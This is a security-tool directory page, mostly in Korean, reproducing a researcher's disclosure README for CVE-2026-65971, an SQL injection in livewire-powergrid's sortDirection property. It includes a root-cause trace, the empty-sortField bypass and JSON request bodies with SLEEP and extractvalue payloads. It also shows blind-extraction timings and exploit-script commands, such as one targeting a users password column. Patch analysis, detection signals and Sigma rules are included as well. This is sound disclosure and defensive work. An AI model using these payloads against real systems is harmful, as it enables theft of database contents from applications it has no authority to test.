Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-65971 — CVE-2026-65971에 대한 개념 증명 및 기술 문서 — power-components/livewire-powergrid (< 6.10.4)의 sortDirection Livewire 속성을 통한 SQL 인젝션 | Kitploit
도구/GitHubGitHub/biitts/poc-cve-2026-65971
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubbiitts/poc-cve-2026-65971

POC-CVE-2026-65971

CVE-2026-65971에 대한 개념 증명 및 기술 문서 — power-components/livewire-powergrid (< 6.10.4)의 sortDirection Livewire 속성을 통한 SQL 인젝션

저장소 보기
131개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-65971 — Livewire PowerGrid의 sortDirection을 통한 SQL 인젝션

CVE-2026-65971 / GHSA-7fgc-3h6c-698r에 대한 개념 증명 및 전체 기술 문서입니다. 이는 power-components/livewire-powergrid의 SQL 인젝션으로, 공개된 Livewire 속성 sortDirection을 통해 접근 가능합니다.

CVECVE-2026-65971
GHSAGHSA-7fgc-3h6c-698r
패키지power-components/livewire-powergrid (Composer / Packagist)
영향받는 버전>= 6.0.0, < 6.10.4
패치된 버전6.10.4
취약점 유형CWE-89 — SQL 명령에 사용되는 특수 요소의 부적절한 중화
심각도7.6 높음 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
보고자Caio Fabrício (@BiiTts)
공개 방식조정된 공개, GitHub 비공개 보안 권고를 통해
├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction
├── lab/ build the vulnerable app to reproduce it yourself
├── evidence/EVIDENCE.txt raw lab notes from confirmation
├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix
└── detection/ Sigma rules + Nuclei template for defenders
root@kitploit:~
---

## 🧠 요약

PowerGrid는 Laravel + Livewire용 데이터테이블 컴포넌트입니다 (~2k stars, Laravel 관리자 패널에서 널리 사용됨). 정렬 상태는 두 개의 **public Livewire properties**에 위치합니다:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

In Livewire에서 public 프로퍼티는 컴포넌트의 wire format의 일부입니다 — 컴포넌트에 접근 가능한 클라이언트는 POST /livewire/update를 통해 이를 설정할 수 있습니다. 이는 의도된 설계이며, 보안 경계는 서버가 해당 값을 어떻게 처리하는지에 있습니다.

PowerGrid의 naturalSort() 기능은 리터럴 플레이스홀더 {sortDirection}을 포함하는 원시 ORDER BY 표현식을 생성하며, 파이프라인은 이 플레이스홀더를 원시, 검증되지 않은 프로퍼티 값으로 대체한 후 문자열을 orderByRaw()에 전달합니다. 따라서 방향 키워드는 SQL 내부에 그대로 삽입됩니다.

Laravel 자체의 orderBy()는 asc/desc가 아닌 것은 거부하며, 이 검증이 일반적인 정렬 경로를 안전하게 만듭니다. 버그는 동일한 절에 대한 두 번째 검증되지 않은 경로가 존재하며 — 공격자가 검증을 완전히 건너뛰고 이 경로에 도달할 수 있다는 것입니다 (우회 경로 참조).

결과: ORDER BY 절에서의 임의 SQL로, 데이터베이스 사용자가 읽을 수 있는 모든 데이터를 읽기 위한 블라인드 불리언/시간 기반 오라클로 악용 가능합니다.


🔥 영향

naturalSort를 사용하는 PowerGrid 테이블에 접근할 수 있는 모든 사용자는 데이터베이스의 임의 데이터 — 다른 테이블, 비밀번호 해시, 세션 토큰, API 키, 교차 테넌트 레코드 — 를 시간 기반/불리언 오라클을 통해 읽을 수 있습니다.

  • 기밀성: 높음. DB 사용자가 SELECT할 수 있는 모든 것의 전체 읽기.
  • 무결성: 낮음. 스택 쿼리는 PDO MySQL의 기본 구성으로 차단되므로 ; UPDATE ...는 실행되지 않습니다. 쓰기 영향은 서브쿼리가 트리거할 수 있는 것으로 제한됩니다.
  • 가용성: 낮음. 동일한 프리미티브는 공격자에게 SLEEP() 및 무거운 서브쿼리를 제공합니다 — 데이터베이스 스레드를 고정시키는 데 쉽게 악용 가능.
  • 일반적인 배치는 악화 요인입니다. PowerGrid 테이블은 관리자 패널 및 멀티테넌트 백오피스에 위치하며 — 정확히 흥미로운 데이터가 있는 곳입니다. 이러한 테이블에 접근하는 낮은 권한의 테넌트 사용자는 전체 데이터베이스를 유출할 수 있습니다.

필요 권한은 PR:L입니다. 데이터테이블은 일반적으로 애플리케이션 인증 뒤에 있기 때문입니다. 영향을 받는 테이블이 인증되지 않은 페이지에 렌더링되는 경우, PR:N → 8.2 높음으로 다시 계산합니다.


🧩 근본 원인 — 완전한 오염 체인

세 개의 파일, 세 단계. 모든 참조는 취약한 태그 v6.10.3에 대한 것입니다.

1단계 — 소스: 공격자 제어 public 프로퍼티

`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13

root@kitploit:~
두 속성 모두 허용 목록, 유효성 검사 규칙 또는 정규화 설정자가 없습니다. `sortDirection`은 할당되거나 뒤집힐 뿐입니다:```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

updatedSortDirection() (103번째 줄)이 존재합니다 — 검증이 이루어져야 할 자연스러운 위치입니다 — 하지만 v6.10.3에서는 지연 로딩 부기만 처리합니다. 이 메서드는 값을 검사하지 않습니다.

Livewire가 요청에서 바로 공개 속성을 채우기 때문에, sortDirection은 이 시점에서 완전히 공격자에 의해 제어되는 임의의 문자열입니다.

Stage 2 — The raw clause: naturalSort() plants a placeholder

src/Providers/Macros.php, lines 102–116 — the naturalSort column macro:```php Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column { $this->enableSort();

root@kitploit:~
if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

});

root@kitploit:~
`Sql::sortStringAsNumber()`는 `src/DataSource/Support/Sql.php` (60–100행)에 있는 `getSortSqlByDriver()`가 구축한 드라이버별 표현식으로 해석됩니다. 모든 드라이버 변형은 동일한 리터럴 플레이스홀더로 끝납니다:```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

취약점은 드라이버 독립적입니다 — 모든 분기에서 {sortDirection}을 보간합니다.

단계 3 — 싱크: 플레이스홀더가 원시 속성 값으로 해석됩니다

`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }

root@kitploit:~
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

}

root@kitploit:~
그리고 실행, line 52:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

data_get($this->component, 'sortDirection')는 공격자의 문자열을 반환하고, preg_replace_callback은 이를 SQL 텍스트에 짜넣으며, orderByRaw() — 계약에 따라 인수를 이스케이프하지 않음 — 는 이를 데이터베이스에 전달합니다.

아래 한 줄의 쓰라린 아이러니를 주목하세요: resolveBindings() (69행)이 존재하고, naturalSort는 'bindings' => []를 선언합니다. 안전한 매개변수화 메커니즘이 바로 거기에 있습니다. 방향 키워드에는 사용할 수 없습니다 — ORDER BY x ?는 유효한 SQL이 아니며, 방향은 절대 바인딩된 매개변수가 될 수 없습니다 — 그래서 정확히 방향 키워드는 반드시 허용 목록에 포함되어야 합니다.

한 줄로 된 체인```

POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL

root@kitploit:~
---

## 🔓 우회 — 라라벨의 유효성 검사가 당신을 구하지 못하는 이유

이 부분이 "원시 문자열 보간법"을 실제로 악용 가능한 버그로 만드는 부분이며, 이것이 성숙하고 널리 사용되는 패키지에서 이 문제가 살아남은 이유입니다.

PowerGrid는 **파이프라인**을 통해 쿼리를 처리합니다. 파이프라인의 두 단계가 정렬 방향을 건드립니다.

**`Sorting` 파이프라인** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

orderBy()는 Laravel의 유효성 검사 API입니다. asc/desc 이외의 값을 주면 다음과 같은 오류가 발생합니다:``` InvalidArgumentException: Order direction must be "asc" or "desc".

root@kitploit:~
So on the normal path — user clicks a column header, `sortField=name`, `sortDirection=<payload>` — the framework blocks the injection. A quick audit stops here and concludes "mitigated by Laravel".

**`ColumnRawQueries` pipeline** — the second stage, shown above — has **no such guard**. Look at its `handle()` (lines 21–27): it iterates the columns, and for every column carrying `rawQueries` it applies them *unconditionally*. It never consults `sortField`. It never consults the `Sorting` pipeline's outcome.

That asymmetry is the bug:

| `sortField` | `Sorting` pipeline | `ColumnRawQueries` pipeline | Outcome |
|---|---|---|---|
| `"name"` (filled) | runs → `orderBy()` **validates** → throws on payload | runs → injects | ❌ blocked by the exception |
| `""` (empty) | `filled('')` is `false` → **skipped entirely** | runs → injects | ✅ **injection lands** |

Setting **`sortField` to an empty string** makes the validating stage skip itself, while the raw stage still emits the `naturalSort` `ORDER BY` with the attacker's `{sortDirection}` in it. Laravel's validation is never invoked, because the code path containing it never executes.

**The full attack is therefore two fields, not one:** `sortDirection` carries the payload, and `sortField=""` is the key that unlocks the door.

---

## 🎯 The exact fields

Everything happens through Livewire's standard update endpoint. No special headers, no custom route, no admin function.

**Endpoint:** `POST /livewire/update`

**Body (JSON):**

{ "components": [ ... ], "updates": [ { "type": "syncInput", "payload": { "sortDirection": "(SELECT 1 FROM SLEEP(2))--" } }, { "type": "syncInput", "payload": { "sortField": "" } } ] }

root@kitploit:~
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}
```
| 필드 | 역할 | 값 |
|---|---|---|
| `components[0].updates.sortDirection` | **주입 지점** | 유효한 방향을 접두사로 붙여 절이 구문적으로 완전성을 유지하도록 한 SQL 페이로드 |
| `components[0].updates.sortField` | **우회 키** | `""` — 비어 있음, 유효성 검사 `Sorting` 파이프라인을 건너뛰기 위해 |
| `components[0].snapshot` | 내부 처리 | Livewire 컴포넌트 상태; 페이지 HTML의 `wire:snapshot="..."`에서 추출 (HTML 언이스케이프 필요) |
| `_token` / `X-CSRF-TOKEN` | 내부 처리 | 페이지의 `data-csrf="..."` 또는 `"csrf":"..."` 블롭에서 추출 |

**결과 SQL** (MariaDB lab, `rooms` 테이블, `naturalSort`가 적용된 `name` 컬럼):```sql
select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
```
The payload sits in a full expression slot of the `ORDER BY` list, which is why a bare subquery
works and why the clause remains valid SQL.

---

## 🔬 발견 방법 — 코드를 통한 경로

아래 순서는 실제 추론 순서이며, 조사가 오탐(false positive)으로 종료될 뻔한 단계를 포함합니다.

**1. 공격 표면 먼저: Livewire 공용 속성은 공격자 입력입니다.**
프레임워크의 자체 모델은 컴포넌트의 모든 `public` 속성이 `/livewire/update`를 통해 클라이언트가 쓸 수 있다고 말합니다. 따라서 모든 Livewire 패키지에 대한 감사 질문은 "사용자 입력이 있는가?"가 아니라 "어떤 공용 속성이 위험한 싱크에 도달하는가?"입니다. PowerGrid의 공용 속성을 열거했을 때 `$sortField`와 `$sortDirection`이 SQL로 구성되기 위해 특별히 존재하는 속성으로 눈에 띄었습니다.

**2. 각 싱크로 추적.** 패키지에서 raw-SQL API(`orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw`)를 grep하여 해당 속성을 받을 수 있는 API를 찾았습니다. `Macros.php`의 `naturalSort`에 있는 `'method' => 'orderByRaw'`가 적중했습니다.

**3. 속성과 싱크 간의 연결 찾기.** `Sql.php`의 raw SQL은 `$this->sortDirection`을 참조하지 않았습니다. 대신 리터럴 문자열 `{sortDirection}`을 포함했습니다. 이러한 템플릿화는 어딘가에 해석기가 있음을 의미합니다. 중괄호 패턴을 grep한 결과 `ColumnRawQueries::resolvePlaceholders()`와 그 안의 `data_get($this->component, $property, '')` — 이스케이프 없는 일반 속성 읽기 — 가 발견되었습니다. 이제 소스와 싱크가 연결되었습니다.

**4. 거의 무산될 뻔한 단계: 완화 조치.** 첫 번째 실제 시도 — `sortDirection`에 페이로드를 설정하고 실행 — 누출이 아닌 `InvalidArgumentException: Order direction must be "asc" or "desc".`가 발생했습니다. Laravel의 `orderBy()`가 이를 잡아낸 것입니다. 여기서 유혹적인 결론은 *"프레임워크가 완화하므로 악용 불가능"* 이지만, 그 결론은 틀렸을 것입니다.

**5. 예외가 발생한 원인을 묻기, 그냥 발생했다는 사실만이 아니라.** 추적 결과 `Sorting` 파이프라인의 `orderBy()`를 가리켰습니다 — 2단계에서 식별된 `orderByRaw()` 싱크와 **다른 단계**입니다. 두 단계, 동일한 `ORDER BY`에 대한 두 개의 독립적인 쓰기 중 하나만 유효성 검사를 수행합니다. 이로 인해 질문이 "Laravel의 유효성 검사기를 무력화할 수 있는가?" (아니요 — 엄격한 비교입니다)에서 **"유효성 검사 단계를 실행하지 않고 raw 단계에 도달할 수 있는가?"** 로 바뀌었습니다.

**6. 가드 읽기.** 유효성 검사 단계는 `if (filled($this->component->sortField))` 아래에서 실행됩니다. `filled('')`는 `false`입니다. raw 단계에는 가드가 전혀 없습니다. 우회는 직접적인 결과였습니다: `sortField=""`를 보내면 가드되지 않은 단계만 실행됩니다.

**7. 경험적으로 두 번, 독립적인 기법으로 확인.** 단일 양성 신호는 발견이 아닙니다 — 시간 차이는 속도 제한기일 수 있고, 오류는 일반 500일 수 있습니다. 오류 기반 증명(데이터베이스가 주입된 서브쿼리를 그대로 에코)과 시간 기반 부울 오라클(실제 데이터에서 TRUE와 FALSE를 구별)이 모두 필요했습니다. [증거](#-evidence)를 참조하세요.

**일반화 가능한 교훈:** 프레임워크 수준의 완화는 그것이 위치한 코드 경로만 보호합니다. 두 파이프라인 단계가 동일한 SQL 절에 쓸 때, "프레임워크가 검증한다"는 것은 그 중 하나에 대한 주장입니다. 항상 검증이 실제로 어느 단계에 있는지, 그리고 위험한 단계가 단독으로 실행될 수 있는지 물어보세요.

---

## 🧪 증거

실험실: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, `name` 열이 `->naturalSort(true)`를 선언하는 `RoomTable` PowerGrid 컴포넌트와 `secret` 열을 포함하는 `rooms` 테이블을 사용합니다. 전체 실험실은 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab)에 있습니다.

**오류 기반 — 주입된 서브쿼리가 DB에 그대로 도달함** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
```
데이터베이스는 공격자가 제공한 `SELECT`를 `ORDER BY` 내에서 구문 분석하고 실행했습니다. 이는 명백한 인젝션 증거입니다 — 오류 텍스트에는 제출된 SQL이 아닌 실행된 주입된 SQL이 포함되어 있습니다.

**블라인드 시간 기반 — 임의 데이터 추출:**```
asc                                                                              ->  0.02s   baseline
asc, (SELECT SLEEP(3))                                                           ->  9.04s   injection executes
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')->  9.03s   TRUE  — value leaks
asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%')      ->  0.02s   FALSE — oracle is sound
```
TRUE/FALSE 쌍은 '무언가 느리다'에서 '데이터를 읽을 수 있다'로 업그레이드하는 요소입니다.
동일한 요청 형태가 공격자가 볼 수 없는 값의 조건에 따라 명확히 분리된 두 가지 타이밍을 반환합니다.
이것은 작동하는 오라클이며, `poc/exploit_powergrid_sqli.py`가 이를 문자별로 탐색합니다.

> `SLEEP(3)`은 ~3초가 아니라 ~9초가 소요됩니다. 정렬이 여러 행에 걸쳐 슬리핑 표현식을 적용하기 때문입니다 — 더 약한 신호가 아니라 더 강한 신호입니다.

원시 노트: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/main/evidence/EVIDENCE.txt).

---

## ⚙️ 개념 증명

의존성 없음, Python 3 표준 라이브러리만 사용.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
```
다음과 같이 수행합니다:

1. `GET`을 사용하여 페이지를 가져오고 CSRF 토큰 및 PowerGrid 컴포넌트의 `wire:snapshot`을 스크래핑합니다;
2. 정상적인 `sortDirection=asc` 요청의 시간을 기준으로 측정합니다;
3. `sortField="" / sortDirection="asc, (SELECT SLEEP(3))"`를 실행하고 시간을 비교합니다;
4. 델타가 실행을 확인하면 부울 오라클을 통해 문자별로 데이터를 추출합니다.

유용한 플래그:```bash
# non-destructive check only — verify vulnerable/patched, no data extraction
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only

# choose what to extract
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20

# authenticated targets (datatables usually sit behind login)
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
```
패치된 `6.10.4` 대상에 대해 스크립트는 시간 델타가 없다고 보고하고 깔끔하게 종료됩니다 — 
허용 목록은 모든 페이로드를 `asc`로 축소합니다.

---

## ✅ Fix analysis (`v6.10.4`)

유지보수자들은 **4개의 호출 지점에 걸친 심층 방어**를 제공했습니다 — 
이러한 유형의 버그에 적합한 형태입니다. 프리미티브:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
```
안전한 기본값을 가진 엄격한 허용 목록 — 블랙리스트, 이스케이프, 정규식이 아닙니다. 바인딩 파라미터가 될 수 없는 키워드의 경우, 이 방법만이 올바른 제어 방식입니다.

적용 위치:

1. **`ColumnRawQueries::resolvePlaceholders()`** — 싱크(sink). 이제 `{sortDirection}`은 특별 케이스로 처리되어 일반적인 `data_get()`을 통하지 않고 `sanitizeSortDirection()`을 통해서만 해결됩니다.
2. **`Concerns\Sorting::updatedSortDirection()`** — Livewire 훅. 쓰기 시 위생 처리되어 속성 자체가 더 이상 페이로드를 보유할 수 없습니다.
3. **`Concerns\Sorting::sortBy()`** — 방향 인수를 위생 처리합니다.
4. **`Pipelines\Sorting::applySingleSort()` / `applyMultipleSort()`** — 사용자가 제공한 `sortUsing` 콜백을 처리합니다. 이 콜백은 자체 `orderByRaw`를 생성할 수 있습니다. 이로 인해 원래 보고된 경로 외에 **두 번째 관련 경로**가 차단되었습니다.

회귀 테스트가 추가되었습니다: `tests/Feature/SortDirectionInjectionTest.php`와 `DishesNaturalSortTable` 픽스처.

**릴리스 태그에서 패치 검증 수행** (약속이 아닌): `v6.10.4`를 클론하고 모든 원시 방향 싱크를 grep 처리하고, 테스트 스위트를 실행(30/30 통과)했으며, 17개의 페이로드로 `sanitizeSortDirection()`을 퍼징했습니다 — 어드바이저리의 시간 기반 페이로드, 널 바이트, SQL 주석, 16진수 리터럴, 대소문자 혼합, 공백 패딩, 유니코드. 모두 `asc` 또는 `desc`로 축소됩니다. 나머지 싱크(`WithExport`/`ExportableJob`을 통한 내보내기, Scout)는 `orderByRaw()` 대신 검증된 `orderBy()`를 거치며 주입이 불가능합니다.

**결과: 패치됨.**

diff의 보안 관련 부분은 [`patch/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/patch/security-fix-v6.10.4.diff)에 있습니다.

---

## 🛡️ 수정 및 탐지

### PowerGrid를 사용하는 경우```bash
composer require power-components/livewire-powergrid:^6.10.4
composer audit
```
**업그레이드 — 우회하려 하지 마십시오.** 오늘 진정으로 업그레이드할 수 없다면, 임시 완화 조치는 구성 요소 자체에서 정화하는 것입니다:```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}
```
이는 임시방편입니다. 업그레이드하세요.

### 영향을 받았나요?

전제 조건은 `naturalSort`를 선언하는 열이 하나 이상 있어야 합니다:```bash
grep -rn "naturalSort" app/ resources/
```
No `naturalSort` 열이 없다는 것은 원시 `ORDER BY`가 등록되지 않으며, 기본 경로에 도달할 수 없음을 의미합니다. `v6.10.4`에서는 `sortUsing` 콜백 경로도 강화되었습니다. 사용자 정의 정렬 콜백이 방향에서 원시 SQL을 빌드하는 경우, `naturalSort` 유무와 관계없이 해당 경로를 통해서도 노출됩니다.

### 악용 탐지

공격은 일반적인 Livewire 요청처럼 보입니다. 경고할 특이한 엔드포인트나 메서드는 없습니다. `sortDirection`의 **값**을 확인하세요. 합법적인 트래픽은 항상 `asc` 또는 `desc`만 보냅니다.

그 외의 값은 정의상 비정상입니다. 실용적인 신호는 다음과 같습니다.

- JSON 본문에 `"sortDirection"` 값이 정확히 `asc`/`desc`(대소문자 구분 안 함)가 아닌 `POST /livewire/update` 요청 — 높은 정확도, 거의 제로에 가까운 오탐(false positive)
- 동일한 요청이 `"sortField":""`(비어 있음)과 함께 중요하지 않은 `sortDirection`을 전달하는 경우 — 정확한 우회 시그니처
- 해당 값에 포함된 SQL 키워드: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`
- `order by`를 참조하는 `SQLSTATE[HY000] 1105` 또는 `SQLSTATE[42000]` 오류가 포함된 애플리케이션 오류 로그
- 응답 시간이 이중 모드(빠름/느림)로 군집화된 동일한 형태의 POST 요청 버스트 — 블라인드 오라클이 탐색되고 있음

두 개의 Sigma 규칙이 [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/sortdirection-sqli.yml)에 제공됩니다. 하나는 요청 본문에 대한 것이고, 다른 하나는 본문 로깅이 불가능한 경우 데이터베이스 오류 시그니처에 대한 것입니다. 도달 가능한 PowerGrid 컴포넌트(전제 조건 표면)를 플래그하는 Nuclei 템플릿은 [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/main/detection/nuclei-powergrid-sortdirection-sqli.yaml)에 있습니다. 적중이 확인되면 `poc/exploit_powergrid_sqli.py --check-only`로 확인하세요.

---

## 📚 참고 자료

- GitHub Security Advisory — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- 수정 릴리스 — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- 수정 diff — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [SQL 명령에 사용되는 특수 요소의 부적절한 중립화](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [속성은 클라이언트에서 쓸 수 있음](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ 법적 고지

조정된 공개, 출시된 패치 및 공개된 공급업체 권고 이후에 게시되었습니다. PoC는 [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/main/lab)의 로컬 랩을 대상으로 하며, 자신의 노출을 확인하는 방어자와 버그 클래스를 연구하는 연구자를 위한 것입니다. 테스트 권한이 없는 시스템에 대해 실행하는 것은 불법입니다. 귀하는 이를 사용하여 발생하는 모든 책임을 집니다.

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)
도구 다운로드